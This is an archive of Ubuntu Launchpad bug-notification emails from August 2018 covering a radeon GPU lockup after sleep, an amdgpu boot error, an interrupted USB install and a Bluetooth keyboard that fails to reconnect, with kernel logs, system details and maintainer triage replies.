  Aug 20 13:49:03 M51SE kernel: [  273.596091] radeon :01:00.0: ring 0 
stalled for more than 11260msec
  Aug 20 13:49:03 M51SE kernel: [  273.596107] radeon :01:00.0: GPU lockup 
(current fence id 0x48db last fence id 0x48f6 on ring 0)
  Aug 20 13:49:04 M51SE kernel: [  274.108084] radeon :01:00.0: ring 0 
stalled for more than 11772msec
  Aug 20 13:49:04 M51SE kernel: [  274.108098] radeon :01:00.0: GPU lockup 
(current fence id 0x48db last fence id 0x48f6 on ring 0)
  Aug 20 13:49:04 M51SE kernel: [  274.620076] radeon :01:00.0: ring 0 
stalled for more than 12284msec
  Aug 20 13:49:04 M51SE kernel: [  274.620088] radeon :01:00.0: GPU lockup 
(current fence id 0x48db last fence id 0x48f6 on ring 0)
  Aug 20 13:49:05 M51SE kernel: [  275.136059] radeon :01:00.0: ring 0 
stalled for more than 12800msec
  Aug 20 13:49:05 M51SE kernel: [  275.136069] radeon :01:00.0: GPU lockup 
(current fence id 0x48db last fence id 0x48f6 on ring 0)
  Aug 20 13:49:05 M51SE kernel: [  275.644077] radeon :01:00.0: ring 0 
stalled for more than 13308msec
  Aug 20 13:49:05 M51SE kernel: [  275.644090] radeon :01:00.0: GPU lockup 
(current fence id 0x48db last fence id 0x48f6 on ring 0)
  Aug 20 13:49:06 M51SE kernel: [  276.156083] radeon :01:00.0: ring 0 
stalled for more than 13820msec
  Aug 20 13:49:06 M51SE kernel: [  276.156097] radeon :01:00.0: GPU lockup 
(current fence id 0x48db last fence id 0x48f6 on ring 0)
  Aug 20 13:49:06 M51SE kernel: [  276.668078] radeon :01:00.0: ring 0 
stalled for more than 14332msec
  Aug 20 13:49:06 M51SE kernel: [  276.668090] radeon :01:00.0: GPU lockup 
(current fence id 0x48db last fence id 0x48f6 on ring 0)
  Aug 20 13:49:07 M51SE kernel: [  277.180071] radeon :01:00.0: ring 0 
stalled for more than 14844msec
  Aug 20 13:49:07 M51SE kernel: [  277.180083] radeon :01:00.0: GPU lockup 
(current fence id 0x48db last fence id 0x48f6 on ring 0)
  Aug 20 13:49:07 M51SE kernel: [  277.692072] radeon :01:00.0: ring 0 
stalled for more than 15356msec
  Aug 20 13:49:07 M51SE kernel: [  277.692085] radeon :01:00.0: GPU lockup 
(current fence id 0x48db last fence id 0x48f6 on ring 0)
  Aug 20 13:49:08 M51SE kernel: [  278.204077] radeon :01:00.0: ring 0 
stalled for more than 15868msec
  Aug 20 13:49:08 M51SE kernel: [  278.204090] radeon :01:00.0: GPU lockup 
(current fence id 0x48db last fence id 0x48f6 on ring 0)
  Aug 20 13:49:08 M51SE kernel: [  278.716072] radeon :01:00.0: ring 0 
stalled for more than 16380msec
  Aug 20 13:49:08 M51SE kernel: [  278.716085] radeon :01:00.0: GPU lockup 
(current fence id 0x48db last fence id 0x48f6 on ring 0)
  Aug 20 13:49:09 M51SE kernel: [  279.228080] radeon :01:00.0: ring 0 
stalled for more than 16892msec
  Aug 20 13:49:09 M51SE kernel: [  279.228093] radeon :01:00.0: GPU lockup 
(current fence id 0x48db last fence id 0x48f6 on ring 0)
  Aug 20 13:49:09 M51SE kernel: [  279.740071] radeon :01:00.0: ring 0 
stalled for more than 17404msec
  Aug 20 13:49:09 M51SE kernel: [  279.740083] radeon :01:00.0: GPU lockup 
(current fence id 0x48db last fence id 0x48f6 on ring 0)
  Aug 20 13:49:10 M51SE kernel: [  280.252071] radeon :01:00.0: ring 0 
stalled for more than 17916msec
  Aug 20 13:49:10 M51SE kernel: [  280.252083] radeon :01:00.0: GPU lockup 
(current fence id 0x48db last fence id 0x48f6 on ring 0)
  Aug 20 13:49:10 M51SE kernel: [  280.764076] radeon :01:00.0: ring 0 
stalled for more than 18428msec
  Aug 20 13:49:10 M51SE kernel: [  280.764089] radeon :01:00.0: GPU lockup 
(current fence id 0x48db last fence id 0x48f6 on ring 0)
 

[Kernel-packages] [Bug 1788286] [NEW] [radeon] The screen collapses after getting out of sleep

2018-08-21 Thread Launchpad Bug Tracker
You have been subscribed to a public bug:

E): enp2s0: link becomes ready
Aug 20 13:49:02 M51SE kernel: [  272.572110] radeon :01:00.0: ring 0 
stalled for more than 10236msec
Aug 20 13:49:02 M51SE kernel: [  272.572126] radeon :01:00.0: GPU lockup 
(current fence id 0x48db last fence id 0x48f6 on ring 0)
Aug 20 13:49:03 M51SE kernel: [  273.084086] radeon :01:00.0: ring 0 
stalled for more than 10748msec
Aug 20 13:49:03 M51SE kernel: [  273.084099] radeon :01:00.0: GPU lockup 
(current fence id 0x48db last fence id 0x48f6 on ring 0)
Aug 20 13:49:03 M51SE kernel: [  273.596091] radeon :01:00.0: ring 0 
stalled for more than 11260msec
Aug 20 13:49:03 M51SE kernel: [  273.596107] radeon :01:00.0: GPU lockup 
(current fence id 0x48db last fence id 0x48f6 on ring 0)
Aug 20 13:49:04 M51SE kernel: [  274.108084] radeon :01:00.0: ring 0 
stalled for more than 11772msec
Aug 20 13:49:04 M51SE kernel: [  274.108098] radeon :01:00.0: GPU lockup 
(current fence id 0x48db last fence id 0x48f6 on ring 0)
Aug 20 13:49:04 M51SE kernel: [  274.620076] radeon :01:00.0: ring 0 
stalled for more than 12284msec
Aug 20 13:49:04 M51SE kernel: [  274.620088] radeon :01:00.0: GPU lockup 
(current fence id 0x48db last fence id 0x48f6 on ring 0)
Aug 20 13:49:05 M51SE kernel: [  275.136059] radeon :01:00.0: ring 0 
stalled for more than 12800msec
Aug 20 13:49:05 M51SE kernel: [  275.136069] radeon :01:00.0: GPU lockup 
(current fence id 0x48db last fence id 0x48f6 on ring 0)
Aug 20 13:49:05 M51SE kernel: [  275.644077] radeon :01:00.0: ring 0 
stalled for more than 13308msec
Aug 20 13:49:05 M51SE kernel: [  275.644090] radeon :01:00.0: GPU lockup 
(current fence id 0x48db last fence id 0x48f6 on ring 0)
Aug 20 13:49:06 M51SE kernel: [  276.156083] radeon :01:00.0: ring 0 
stalled for more than 13820msec
Aug 20 13:49:06 M51SE kernel: [  276.156097] radeon :01:00.0: GPU lockup 
(current fence id 0x48db last fence id 0x48f6 on ring 0)
Aug 20 13:49:06 M51SE kernel: [  276.668078] radeon :01:00.0: ring 0 
stalled for more than 14332msec
Aug 20 13:49:06 M51SE kernel: [  276.668090] radeon :01:00.0: GPU lockup 
(current fence id 0x48db last fence id 0x48f6 on ring 0)
Aug 20 13:49:07 M51SE kernel: [  277.180071] radeon :01:00.0: ring 0 
stalled for more than 14844msec
Aug 20 13:49:07 M51SE kernel: [  277.180083] radeon :01:00.0: GPU lockup 
(current fence id 0x48db last fence id 0x48f6 on ring 0)
Aug 20 13:49:07 M51SE kernel: [  277.692072] radeon :01:00.0: ring 0 
stalled for more than 15356msec
Aug 20 13:49:07 M51SE kernel: [  277.692085] radeon :01:00.0: GPU lockup 
(current fence id 0x48db last fence id 0x48f6 on ring 0)
Aug 20 13:49:08 M51SE kernel: [  278.204077] radeon :01:00.0: ring 0 
stalled for more than 15868msec
Aug 20 13:49:08 M51SE kernel: [  278.204090] radeon :01:00.0: GPU lockup 
(current fence id 0x48db last fence id 0x48f6 on ring 0)
Aug 20 13:49:08 M51SE kernel: [  278.716072] radeon :01:00.0: ring 0 
stalled for more than 16380msec
Aug 20 13:49:08 M51SE kernel: [  278.716085] radeon :01:00.0: GPU lockup 
(current fence id 0x48db last fence id 0x48f6 on ring 0)
Aug 20 13:49:09 M51SE kernel: [  279.228080] radeon :01:00.0: ring 0 
stalled for more than 16892msec
Aug 20 13:49:09 M51SE kernel: [  279.228093] radeon :01:00.0: GPU lockup 
(current fence id 0x48db last fence id 0x48f6 on ring 0)
Aug 20 13:49:09 M51SE kernel: [  279.740071] radeon :01:00.0: ring 0 
stalled for more than 17404msec
Aug 20 13:49:09 M51SE kernel: [  279.740083] radeon :01:00.0: GPU lockup 
(current fence id 0x48db last fence id 0x48f6 on ring 0)
Aug 20 13:49:10 M51SE kernel: [  280.252071] radeon :01:00.0: ring 0 
stalled for more than 17916msec
Aug 20 13:49:10 M51SE kernel: [  280.252083] radeon :01:00.0: GPU lockup 
(current fence id 0x48db last fence id 0x48f6 on ring 0)
Aug 20 13:49:10 M51SE kernel: [  280.764076] radeon :01:00.0: ring 0 
stalled for more than 18428msec
Aug 20 13:49:10 M51SE kernel: [  280.764089] radeon :01:00.0: GPU lockup 
(current fence id 0x48db last fence id 0x48f6 on ring 0)
Aug 20 13:49:11 M51SE kernel: [  281.276048] radeon :01:00.0: ring 0 
stalled for more than 18940msec
Aug 20 13:49:11 M51SE kernel: [  281.276059] radeon :01:00.0: GPU lockup 
(current fence id 0x48db last fence id 0x48f6 on ring 0)
Aug 20 13:49:11 M51SE kernel: [  281.788070] radeon :01:00.0: ring 0 
stalled for more than 19452msec
Aug 20 13:49:11 M51SE kernel: [  281.788082] 

[Kernel-packages] [Bug 1788286] Re: [radeon] The screen collapses after getting out of sleep

2018-08-21 Thread Daniel van Vugt
** Summary changed:

- The screen collapses after getting out of sleep
+ [radeon] The screen collapses after getting out of sleep

** Package changed: xorg (Ubuntu) => linux (Ubuntu)

** Tags added: radeon

-- 
You received this bug notification because you are a member of Kernel
Packages, which is subscribed to linux in Ubuntu.
https://bugs.launchpad.net/bugs/1788286

Title:
  [radeon] The screen collapses after getting out of sleep

Status in linux package in Ubuntu:
  Confirmed

Bug description:
  E): enp2s0: link becomes ready
  Aug 20 13:49:02 M51SE kernel: [  272.572110] radeon :01:00.0: ring 0 
stalled for more than 10236msec
  Aug 20 13:49:02 M51SE kernel: [  272.572126] radeon :01:00.0: GPU lockup 
(current fence id 0x48db last fence id 0x48f6 on ring 0)
  Aug 20 13:49:03 M51SE kernel: [  273.084086] radeon :01:00.0: ring 0 
stalled for more than 10748msec
  Aug 20 13:49:03 M51SE kernel: [  273.084099] radeon :01:00.0: GPU lockup 
(current fence id 0x48db last fence id 0x48f6 on ring 0)
  Aug 20 13:49:03 M51SE kernel: [  273.596091] radeon :01:00.0: ring 0 
stalled for more than 11260msec
  Aug 20 13:49:03 M51SE kernel: [  273.596107] radeon :01:00.0: GPU lockup 
(current fence id 0x48db last fence id 0x48f6 on ring 0)
  Aug 20 13:49:04 M51SE kernel: [  274.108084] radeon :01:00.0: ring 0 
stalled for more than 11772msec
  Aug 20 13:49:04 M51SE kernel: [  274.108098] radeon :01:00.0: GPU lockup 
(current fence id 0x48db last fence id 0x48f6 on ring 0)
  Aug 20 13:49:04 M51SE kernel: [  274.620076] radeon :01:00.0: ring 0 
stalled for more than 12284msec
  Aug 20 13:49:04 M51SE kernel: [  274.620088] radeon :01:00.0: GPU lockup 
(current fence id 0x48db last fence id 0x48f6 on ring 0)
  Aug 20 13:49:05 M51SE kernel: [  275.136059] radeon :01:00.0: ring 0 
stalled for more than 12800msec
  Aug 20 13:49:05 M51SE kernel: [  275.136069] radeon :01:00.0: GPU lockup 
(current fence id 0x48db last fence id 0x48f6 on ring 0)
  Aug 20 13:49:05 M51SE kernel: [  275.644077] radeon :01:00.0: ring 0 
stalled for more than 13308msec
  Aug 20 13:49:05 M51SE kernel: [  275.644090] radeon :01:00.0: GPU lockup 
(current fence id 0x48db last fence id 0x48f6 on ring 0)
  Aug 20 13:49:06 M51SE kernel: [  276.156083] radeon :01:00.0: ring 0 
stalled for more than 13820msec
  Aug 20 13:49:06 M51SE kernel: [  276.156097] radeon :01:00.0: GPU lockup 
(current fence id 0x48db last fence id 0x48f6 on ring 0)
  Aug 20 13:49:06 M51SE kernel: [  276.668078] radeon :01:00.0: ring 0 
stalled for more than 14332msec
  Aug 20 13:49:06 M51SE kernel: [  276.668090] radeon :01:00.0: GPU lockup 
(current fence id 0x48db last fence id 0x48f6 on ring 0)
  Aug 20 13:49:07 M51SE kernel: [  277.180071] radeon :01:00.0: ring 0 
stalled for more than 14844msec
  Aug 20 13:49:07 M51SE kernel: [  277.180083] radeon :01:00.0: GPU lockup 
(current fence id 0x48db last fence id 0x48f6 on ring 0)
  Aug 20 13:49:07 M51SE kernel: [  277.692072] radeon :01:00.0: ring 0 
stalled for more than 15356msec
  Aug 20 13:49:07 M51SE kernel: [  277.692085] radeon :01:00.0: GPU lockup 
(current fence id 0x48db last fence id 0x48f6 on ring 0)
  Aug 20 13:49:08 M51SE kernel: [  278.204077] radeon :01:00.0: ring 0 
stalled for more than 15868msec
  Aug 20 13:49:08 M51SE kernel: [  278.204090] radeon :01:00.0: GPU lockup 
(current fence id 0x48db last fence id 0x48f6 on ring 0)
  Aug 20 13:49:08 M51SE kernel: [  278.716072] radeon :01:00.0: ring 0 
stalled for more than 16380msec
  Aug 20 13:49:08 M51SE kernel: [  278.716085] radeon :01:00.0: GPU lockup 
(current fence id 0x48db last fence id 0x48f6 on ring 0)
  Aug 20 13:49:09 M51SE kernel: [  279.228080] radeon :01:00.0: ring 0 
stalled for more than 16892msec
  Aug 20 13:49:09 M51SE kernel: [  279.228093] radeon :01:00.0: GPU lockup 
(current fence id 0x48db last fence id 0x48f6 on ring 0)
  Aug 20 13:49:09 M51SE kernel: [  279.740071] radeon :01:00.0: ring 0 
stalled for more than 17404msec
  Aug 20 13:49:09 M51SE kernel: [  279.740083] radeon :01:00.0: GPU lockup 
(current fence id 0x48db last fence id 0x48f6 on ring 0)
  Aug 20 13:49:10 M51SE kernel: [  280.252071] radeon :01:00.0: ring 0 
stalled for more than 17916msec
  Aug 20 13:49:10 M51SE kernel: [  280.252083] radeon :01:00.0: GPU lockup 
(current fence id 0x48db last fence id 0x48f6 on ring 0)
  Aug 20 13:49:10 M51SE kernel: [  280.764076] radeon :01:00.0: ring 0 
stalled for more than 18428msec
  Aug 20 13:49:10 M51SE kernel: [  280.764089] 

[Kernel-packages] [Bug 1788245] Re: [radeon] bug in the bootin of ubunut

2018-08-21 Thread Daniel van Vugt
** Summary changed:

- bug in the bootin of ubunut
+ [radeon] bug in the bootin of ubunut

** Tags added: amdgpu radeon

** Package changed: xorg (Ubuntu) => linux (Ubuntu)

-- 
You received this bug notification because you are a member of Kernel
Packages, which is subscribed to linux in Ubuntu.
https://bugs.launchpad.net/bugs/1788245

Title:
  [radeon] bug in the bootin of ubunut

Status in linux package in Ubuntu:
  Confirmed

Bug description:
  [Firmware Bug]: cpu 0, invalid threshol interrupt offset 1 for blank, block 0 
(MSR0143=0XD010)
  [DRM:hwss_wait_for_blank_complete [amdgpu]] *ERROR* DC: failed to blank crtc!

  ProblemType: Bug
  DistroRelease: Ubuntu 18.04
  Package: xorg 1:7.7+19ubuntu7.1
  Uname: Linux 4.17.0-041700-generic x86_64
  ApportVersion: 2.20.9-0ubuntu7.2
  Architecture: amd64
  BootLog: Error: [Errno 13] Permission denied: '/var/log/boot.log'
  CompositorRunning: None
  CurrentDesktop: ubuntu:GNOME
  Date: Tue Aug 21 11:39:34 2018
  DistUpgraded: Fresh install
  DistroCodename: bionic
  DistroVariant: ubuntu
  GraphicsCard:
   Advanced Micro Devices, Inc. [AMD/ATI] Device [1002:98e4] (rev d4) (prog-if 
00 [VGA controller])
 Subsystem: Hewlett-Packard Company Device [103c:8324]
  InstallationDate: Installed on 2018-07-23 (28 days ago)
  InstallationMedia: Ubuntu 18.04 LTS "Bionic Beaver" - Release amd64 (20180426)
  MachineType: Hewlett-Packard HP 245 G6 Notebook PC
  ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-4.17.0-041700-generic 
root=UUID=4b6c470e-c369-48f8-9fef-f65af5ba0d88 ro quiet splash vt.handoff=1
  SourcePackage: xorg
  Symptom: display
  UpgradeStatus: No upgrade log present (probably fresh install)
  dmi.bios.date: 03/12/2018
  dmi.bios.vendor: American Megatrends Inc.
  dmi.bios.version: F.22
  dmi.board.asset.tag: Base Board Asset Tag
  dmi.board.name: 8324
  dmi.board.vendor: Hewlett-Packard
  dmi.board.version: 22.25
  dmi.chassis.type: 10
  dmi.chassis.vendor: Hewlett-Packard
  dmi.chassis.version: Chassis Version
  dmi.modalias: 
dmi:bvnAmericanMegatrendsInc.:bvrF.22:bd03/12/2018:svnHewlett-Packard:pnHP245G6NotebookPC:pvr:rvnHewlett-Packard:rn8324:rvr22.25:cvnHewlett-Packard:ct10:cvrChassisVersion:
  dmi.product.family: 103C_5336AN HP 200
  dmi.product.name: HP 245 G6 Notebook PC
  dmi.sys.vendor: Hewlett-Packard
  version.compiz: compiz N/A
  version.libdrm2: libdrm2 2.4.93+git1808171830.f31fd5~oibaf~b
  version.libgl1-mesa-dri: libgl1-mesa-dri 18.3~git1808170730.de3b34~oibaf~b
  version.libgl1-mesa-glx: libgl1-mesa-glx 18.3~git1808170730.de3b34~oibaf~b
  version.xserver-xorg-core: xserver-xorg-core 2:1.19.6-1ubuntu4
  version.xserver-xorg-input-evdev: xserver-xorg-input-evdev N/A
  version.xserver-xorg-video-ati: xserver-xorg-video-ati 
1:18.0.99+git1808200734.60cd28~oibaf~b
  version.xserver-xorg-video-intel: xserver-xorg-video-intel 
2:2.99.917+git1807201025.3d3950~oibaf~b
  version.xserver-xorg-video-nouveau: xserver-xorg-video-nouveau 
1:1.0.15+git1807201019.ac8f7b~oibaf~b

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1788245/+subscriptions

-- 
Mailing list: https://launchpad.net/~kernel-packages
Post to : kernel-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~kernel-packages
More help   : https://help.launchpad.net/ListHelp


[Kernel-packages] [Bug 1788166] [NEW] intrupt while coppying the files from bootabled usb

2018-08-21 Thread Launchpad Bug Tracker
You have been subscribed to a public bug:

while coppying the files from bootabled usb it is intrupted and message
can not copy all the files

ProblemType: Bug
DistroRelease: Ubuntu 16.04
Package: xorg 1:7.7+13ubuntu3
ProcVersionSignature: Ubuntu 4.15.0-29.31~16.04.1-generic 4.15.18
Uname: Linux 4.15.0-29-generic x86_64
.tmp.unity_support_test.0:
 
ApportVersion: 2.20.1-0ubuntu2.18
Architecture: amd64
CasperVersion: 1.376.2
CompizPlugins: No value set for 
`/apps/compiz-1/general/screen0/options/active_plugins'
CompositorRunning: compiz
CompositorUnredirectDriverBlacklist: '(nouveau|Intel).*Mesa 8.0'
CompositorUnredirectFSW: true
Date: Tue Aug 21 11:54:13 2018
DistUpgraded: Fresh install
DistroCodename: xenial
DistroVariant: ubuntu
ExtraDebuggingInterest: Yes, if not too technical
GraphicsCard:
 NVIDIA Corporation GT218 [GeForce 210] [10de:0a65] (rev a2) (prog-if 00 [VGA 
controller])
   Subsystem: Gigabyte Technology Co., Ltd GT218 [GeForce 210] [1458:34ef]
LiveMediaBuild: Ubuntu 16.04.5 LTS "Xenial Xerus" - Release amd64 (20180731)
MachineType: Gigabyte Technology Co., Ltd. P55-UD3L
ProcEnviron:
 PATH=(custom, no user)
 LANG=en_US.UTF-8
 SHELL=/bin/bash
ProcKernelCmdLine: file=/cdrom/preseed/hostname.seed boot=casper 
initrd=/casper/initrd quiet splash --- maybe-ubiquity
SourcePackage: xorg
UpgradeStatus: No upgrade log present (probably fresh install)
dmi.bios.date: 06/25/2010
dmi.bios.vendor: Award Software International, Inc.
dmi.bios.version: FH
dmi.board.name: P55-UD3L
dmi.board.vendor: Gigabyte Technology Co., Ltd.
dmi.chassis.type: 3
dmi.chassis.vendor: Gigabyte Technology Co., Ltd.
dmi.modalias: 
dmi:bvnAwardSoftwareInternational,Inc.:bvrFH:bd06/25/2010:svnGigabyteTechnologyCo.,Ltd.:pnP55-UD3L:pvr:rvnGigabyteTechnologyCo.,Ltd.:rnP55-UD3L:rvr:cvnGigabyteTechnologyCo.,Ltd.:ct3:cvr:
dmi.product.name: P55-UD3L
dmi.sys.vendor: Gigabyte Technology Co., Ltd.
version.compiz: compiz 1:0.9.12.3+16.04.20180221-0ubuntu1
version.ia32-libs: ia32-libs N/A
version.libdrm2: libdrm2 2.4.91-2~16.04.1
version.libgl1-mesa-dri: libgl1-mesa-dri 18.0.5-0ubuntu0~16.04.1
version.libgl1-mesa-dri-experimental: libgl1-mesa-dri-experimental N/A
version.libgl1-mesa-glx: libgl1-mesa-glx 18.0.5-0ubuntu0~16.04.1
version.xserver-xorg-core: xserver-xorg-core N/A
version.xserver-xorg-input-evdev: xserver-xorg-input-evdev N/A
version.xserver-xorg-video-ati: xserver-xorg-video-ati N/A
version.xserver-xorg-video-intel: xserver-xorg-video-intel N/A
version.xserver-xorg-video-nouveau: xserver-xorg-video-nouveau N/A
xserver.bootTime: Tue Aug 21 11:30:56 2018
xserver.configfile: default
xserver.devices:
 inputPower Button KEYBOARD, id 6
 inputPower Button KEYBOARD, id 7
 inputOM   MOUSE, id 8
 inputSIGMACHIP USB Keyboard KEYBOARD, id 9
 inputSIGMACHIP USB Keyboard KEYBOARD, id 10
xserver.errors:
 Failed to load module "nvidia" (module does not exist, 0)
 Failed to load module "nvidia" (module does not exist, 0)
xserver.logfile: /var/log/Xorg.0.log
xserver.version: 2:1.19.6-1ubuntu4~16.04.1
xserver.video_driver: nouveau

** Affects: linux (Ubuntu)
 Importance: Undecided
 Status: New


** Tags: amd64 apport-bug compiz-0.9 ubuntu xenial
-- 
intrupt while coppying the files from bootabled usb 
https://bugs.launchpad.net/bugs/1788166
You received this bug notification because you are a member of Kernel Packages, 
which is subscribed to linux in Ubuntu.

-- 
Mailing list: https://launchpad.net/~kernel-packages
Post to : kernel-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~kernel-packages
More help   : https://help.launchpad.net/ListHelp


[Kernel-packages] [Bug 1787571] Re: Bluetooth keyboard won't connect again after connection was lost

2018-08-21 Thread Daniel van Vugt
Next, please report the bug to the BlueZ developers here:

https://bugzilla.kernel.org/enter_bug.cgi?product=Drivers=Bluetooth

and then tell us what the new bug ID is.

** Changed in: bluez (Ubuntu)
   Status: New => Incomplete

-- 
You received this bug notification because you are a member of Kernel
Packages, which is subscribed to bluez in Ubuntu.
https://bugs.launchpad.net/bugs/1787571

Title:
  Bluetooth keyboard won't connect again after connection was lost

Status in bluez package in Ubuntu:
  Incomplete

Bug description:
  After my Bluetooth keyboard from Logitech (K380) looses its
  connection, either after a Ubuntu restart or by manually turning the
  keyboard off an on, it won't connect any more. Additionally, while the
  keyboard tries to reestablish the connection, my Logitech Bluetooth
  mouse (M590) looses its connection too! After that I can't establish
  any Bluetooth connection at all. Only a "sudo service bluetooth
  restart" helps.

  Then my mouse reconnects easily, if it's not disrupted by my keyboard.
  So I'm only possible to use my mouse and not the keyboard, because
  while it tries to reconnect, it kills the connection of my mouse and
  everything starts over again.

  I've also tried to reconnect the keyboard through "bluetoothctl", but
  without success:

  $ bluetoothctl paired-devices
  Device 34:88:5D:42:7E:03 Keyboard K380
  Device FA:6A:9E:DA:2B:30 M585/M590

  $ bluetoothctl connect 34:88:5D:42:7E:03
  Attempting to connect to 34:88:5D:42:7E:03
  Failed to connect: org.bluez.Error.Failed

  
  Both devices are "trusted":

  $ bluetoothctl info 34:88:5D:42:7E:03
  Device 34:88:5D:42:7E:03 (public)
Name: Keyboard K380
Alias: Keyboard K380
Class: 0x2540
Icon: input-keyboard
Paired: yes
Trusted: yes
Blocked: no
Connected: no
LegacyPairing: no
UUID: Service Discovery Serve.. (1000--1000-8000-00805f9b34fb)
UUID: Human Interface Device... (1124--1000-8000-00805f9b34fb)
UUID: PnP Information   (1200--1000-8000-00805f9b34fb)
Modalias: usb:v046DpB342d4200

  $ bluetoothctl info FA:6A:9E:DA:2B:30
  Device FA:6A:9E:DA:2B:30 (random)
Name: M585/M590
Alias: M585/M590
Appearance: 0x03c2
Icon: input-mouse
Paired: yes
Trusted: yes
Blocked: no
Connected: yes
LegacyPairing: no
UUID: Generic Access Profile(1800--1000-8000-00805f9b34fb)
UUID: Generic Attribute Profile (1801--1000-8000-00805f9b34fb)
UUID: Device Information(180a--1000-8000-00805f9b34fb)
UUID: Battery Service   (180f--1000-8000-00805f9b34fb)
UUID: Human Interface Device(1812--1000-8000-00805f9b34fb)
UUID: Vendor specific   (0001--1000-8000-011f246d)
Modalias: usb:v046DpB01Bd0007

  $ bluetoothctl show
  Controller 2C:6F:C9:44:57:E0 (public)
Name: mir
Alias: mir
Class: 0x000c010c
Powered: yes
Discoverable: yes
Pairable: yes
UUID: Headset AG(1112--1000-8000-00805f9b34fb)
UUID: Generic Attribute Profile (1801--1000-8000-00805f9b34fb)
UUID: A/V Remote Control(110e--1000-8000-00805f9b34fb)
UUID: Generic Access Profile(1800--1000-8000-00805f9b34fb)
UUID: PnP Information   (1200--1000-8000-00805f9b34fb)
UUID: A/V Remote Control Target (110c--1000-8000-00805f9b34fb)
UUID: Audio Source  (110a--1000-8000-00805f9b34fb)
UUID: Audio Sink(110b--1000-8000-00805f9b34fb)
UUID: Headset   (1108--1000-8000-00805f9b34fb)
Modalias: usb:v1D6Bp0246d0532
Discovering: no

  
  The only way to use my Bluetooth keyboard is to pair it again, f.i. by doing:

  bluetoothctl
  remove XX:XX:XX:XX:XX:XX
  exit
  sudo service bluetooth restart
  bluetoothctl
  scan on
  trust XX:XX:XX:XX:XX:XX
  pair XX:XX:XX:XX:XX:XX
  connect XX:XX:XX:XX:XX:XX 
  exit

  
  This keyboard works flawlessly with my Android device and also on a MacBook 
Pro with macOS. It also worked well with another notebook (Toshiba Satellite 
Pro C850-1HL) from 17.04 to 18.04, which I don't own anymore.

  I've updated my BlueZ stack with ppa:bluetooth/bluez, but reverted
  back by purging it, because it didn't help.

  I also have some debug info FROM LAST WEEK. This was collected after a
  system restart and while the keyboard tried to reestablish the
  connection. At this time my BlueZ packages were from the PPA mentioned
  above:

  $ dpkg -l | grep blue
  ii  bluez  5.50-0ubuntu0ppa1  
  amd64Bluetooth tools and daemons
  ii  bluez-cups 5.50-0ubuntu0ppa1

[Kernel-packages] [Bug 1788166] Re: intrupt while coppying the files from bootabled usb

2018-08-21 Thread Daniel van Vugt
Indeed your CurrentDmesg.txt shows a kernel crash and USB disk errors.
It's not clear to me which is the root cause though.

I suggest the next step to take is to try using a different USB stick,
or just a different USB port.

** Package changed: xorg (Ubuntu) => linux (Ubuntu)

-- 
You received this bug notification because you are a member of Kernel
Packages, which is subscribed to linux in Ubuntu.
https://bugs.launchpad.net/bugs/1788166

Title:
  intrupt while coppying the files from bootabled usb

Status in linux package in Ubuntu:
  Confirmed

Bug description:
  while coppying the files from bootabled usb it is intrupted and
  message can not copy all the files

  ProblemType: Bug
  DistroRelease: Ubuntu 16.04
  Package: xorg 1:7.7+13ubuntu3
  ProcVersionSignature: Ubuntu 4.15.0-29.31~16.04.1-generic 4.15.18
  Uname: Linux 4.15.0-29-generic x86_64
  .tmp.unity_support_test.0:
   
  ApportVersion: 2.20.1-0ubuntu2.18
  Architecture: amd64
  CasperVersion: 1.376.2
  CompizPlugins: No value set for 
`/apps/compiz-1/general/screen0/options/active_plugins'
  CompositorRunning: compiz
  CompositorUnredirectDriverBlacklist: '(nouveau|Intel).*Mesa 8.0'
  CompositorUnredirectFSW: true
  Date: Tue Aug 21 11:54:13 2018
  DistUpgraded: Fresh install
  DistroCodename: xenial
  DistroVariant: ubuntu
  ExtraDebuggingInterest: Yes, if not too technical
  GraphicsCard:
   NVIDIA Corporation GT218 [GeForce 210] [10de:0a65] (rev a2) (prog-if 00 [VGA 
controller])
 Subsystem: Gigabyte Technology Co., Ltd GT218 [GeForce 210] [1458:34ef]
  LiveMediaBuild: Ubuntu 16.04.5 LTS "Xenial Xerus" - Release amd64 (20180731)
  MachineType: Gigabyte Technology Co., Ltd. P55-UD3L
  ProcEnviron:
   PATH=(custom, no user)
   LANG=en_US.UTF-8
   SHELL=/bin/bash
  ProcKernelCmdLine: file=/cdrom/preseed/hostname.seed boot=casper 
initrd=/casper/initrd quiet splash --- maybe-ubiquity
  SourcePackage: xorg
  UpgradeStatus: No upgrade log present (probably fresh install)
  dmi.bios.date: 06/25/2010
  dmi.bios.vendor: Award Software International, Inc.
  dmi.bios.version: FH
  dmi.board.name: P55-UD3L
  dmi.board.vendor: Gigabyte Technology Co., Ltd.
  dmi.chassis.type: 3
  dmi.chassis.vendor: Gigabyte Technology Co., Ltd.
  dmi.modalias: 
dmi:bvnAwardSoftwareInternational,Inc.:bvrFH:bd06/25/2010:svnGigabyteTechnologyCo.,Ltd.:pnP55-UD3L:pvr:rvnGigabyteTechnologyCo.,Ltd.:rnP55-UD3L:rvr:cvnGigabyteTechnologyCo.,Ltd.:ct3:cvr:
  dmi.product.name: P55-UD3L
  dmi.sys.vendor: Gigabyte Technology Co., Ltd.
  version.compiz: compiz 1:0.9.12.3+16.04.20180221-0ubuntu1
  version.ia32-libs: ia32-libs N/A
  version.libdrm2: libdrm2 2.4.91-2~16.04.1
  version.libgl1-mesa-dri: libgl1-mesa-dri 18.0.5-0ubuntu0~16.04.1
  version.libgl1-mesa-dri-experimental: libgl1-mesa-dri-experimental N/A
  version.libgl1-mesa-glx: libgl1-mesa-glx 18.0.5-0ubuntu0~16.04.1
  version.xserver-xorg-core: xserver-xorg-core N/A
  version.xserver-xorg-input-evdev: xserver-xorg-input-evdev N/A
  version.xserver-xorg-video-ati: xserver-xorg-video-ati N/A
  version.xserver-xorg-video-intel: xserver-xorg-video-intel N/A
  version.xserver-xorg-video-nouveau: xserver-xorg-video-nouveau N/A
  xserver.bootTime: Tue Aug 21 11:30:56 2018
  xserver.configfile: default
  xserver.devices:
   inputPower Button KEYBOARD, id 6
   inputPower Button KEYBOARD, id 7
   inputOM   MOUSE, id 8
   inputSIGMACHIP USB Keyboard KEYBOARD, id 9
   inputSIGMACHIP USB Keyboard KEYBOARD, id 10
  xserver.errors:
   Failed to load module "nvidia" (module does not exist, 0)
   Failed to load module "nvidia" (module does not exist, 0)
  xserver.logfile: /var/log/Xorg.0.log
  xserver.version: 2:1.19.6-1ubuntu4~16.04.1
